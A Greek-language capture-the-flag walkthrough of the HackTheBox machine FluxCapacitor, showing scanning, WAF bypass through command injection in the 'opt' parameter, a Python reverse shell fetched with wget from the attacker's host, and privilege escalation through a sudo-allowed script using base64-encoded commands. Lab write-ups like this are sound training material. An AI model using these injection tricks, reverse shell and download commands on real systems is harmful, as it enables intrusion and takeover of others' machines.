# FluxCapacitor

* **nmap -T4 -A -v 10.10.10.69**

Κάνοντας scan με nmap βλέπουμε ότι είναι ανοιχτό μόνο το port 80 με http service και χρησιμοποιεί το superwaf firewall.

* **wfuzz -c -z file,/usr/share/dirb/wordlists/common.txt --hc 404 http://10.10.10.69/FUZZ**

Αφού το dirb δεν βρήκε τίποτα και γενικά δεν υπάρχει κάτι άλλο, υποψιαζόμαστε ότι κάτι παίζει με το waf και πιθανόν να μπορούμε να το κάνουμε bypass. Το μόνο που μένει είναι να ψάξουμε για μια παράμετρο η οποία θα μας επιτρέπει να δώσουμε τιμή, επομένως και να εισάγουμε κώδικα, εντολές κλπ. Πρώτα ψάχνουμε για τη σελίδα (το script) που θα περιέχει την παράμετρο, με την χρήση του wfuzz.

* **wfuzz -c -z file,/usr/share/dirb/wordlists/common.txt --filter="c=403" http://10.10.10.69/sync?FUZZ=\ls**

Στη συνέχεια, αφού βρήκαμε τη σελίδα (η οποία μας δίνεται και σαν hint αν κάνουμε view page source code), προχωράμε στην επόμενη εντολή που θα μας βοηθήσει να βρούμε την παράμετρο. Η παράμετρος --filter="c=403" μας επιστρέφει μόνο τα response με code 403, δηλαδή αυτά που μπλοκάρει το waf. Οπότε αν βάλουμε μία εντολή bash ως τιμή στη υποτιθέμενη παράμετρο, το waf θα μας μπλοκάρει το request και αμέσως θα ξέρουμε ότι βρήκαμε την σωστή παράμετρο.

* **curl -s http://10.10.10.69/sync?opt=' \l\s -la'**

Εφόσον έχουμε βρει την παράμετρο η οποία είναι “opt”, ξεκινάμε τα requests με τη χρήση του προγράμματος curl, προσπαθώντας να εκτελέσουμε εντολές με τρόπο τέτοιο ώστε να παρακάμψουμε το firewall. Η χρήση του χαρακτήρα ‘ λειτουργεί σαν concatenate στην σύνταξη του bash καθώς κάτι αντίστοιχο συμβαίνει και με το χαρακτήρα \.

* **Python Reverse Shell**

import socket,subprocess,os;

s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);

s.connect(("10.10.14.10",1234));

os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);

p=subprocess.call(["/bin/sh","-i"]);

* **curl -s http://10.10.10.69/sync?opt=' wg'et' 'http://10.10.14.10/test.py' '-P' 'tmp**

Προκειμένου να πάρουμε τα flags θα πρέπει να ανεβάσουμε το παραπάνω script για να πάρουμε ένα βασικό shell, αφού δεν μπορούμε να κάνουμε πολλά με το RCE. Ανοίγουμε λοιπόν τοπικά έναν apache και με την παραπάνω εντολή ανεβάζουμε το script μας στο machine.

Παρατήρηση: Το μηχάνημα έχει εγκατεστημένη python3 και όχι 2.7

* **nc -lvp 1234**
* **curl -s http://10.10.10.69/sync?opt=' chmo'd' '+777' '/tmp/test.py**
* **curl -s http://10.10.10.69/sync?opt=' pyth'on3' '/tmp/test.py**
* **curl -s "http://10.10.10.69/sync?opt=' \l\s -la /tmp'"**

Στη συνέχεια ανοίγουμε τοπικά έναν listener, δίνουμε δικαιώματα στο script και μετά το εκτελούμε. Τέλος αν θέλω τσεκάρω να δω αν όντως έγιναν επιτυχώς τα παραπάνω.

* **cat /home/FluxCapacitorInc/user.txt**
* **python3 -c 'import pty; pty.spawn("/bin/bash")'**

Εκτελώντας την παραπάνω εντολή μπορώ να πάρω κατευθείαν το flag user. Στη συνέχεια αν θέλω αναβαθμίζω σε bash.

* **sudo -l**
* **cat /home/themiddle/.monit**
* **sudo -u root ./.monit cmd cat /root/root.txt**

Τρέχοντας την εντολή sudo -l, βλέπουμε ότι μπορούμε να εκτελέσουμε το πρόγραμμα /home/themiddle/.monit με δικαιώματα root. Επομένως το διαβάζουμε και καταλαβαίνουμε ότι μπορούμε να το εκτελέσουμε με την παραπάνω σύνταξη.

Παρατήρηση: Το κομμάτι **cat /root/root.txt** τις παραπάνω εντολής θα πρέπει πρώτα να κωδικοποιηθεί σε base64, αφού όπως μπορούμε να δούμε αν διαβάσουμε το script, αποκωδικοποιεί την τιμή της παραμέτρου προτού την εκτελέσει. Επομένως η ολοκληρωμένη εντολή θα έχει ως εξής:

* **sudo -u root ./.monit cmd** **Y2F0IC9yb290L3Jvb3QudHh0**

Τέλος παίρνουμε το flag root.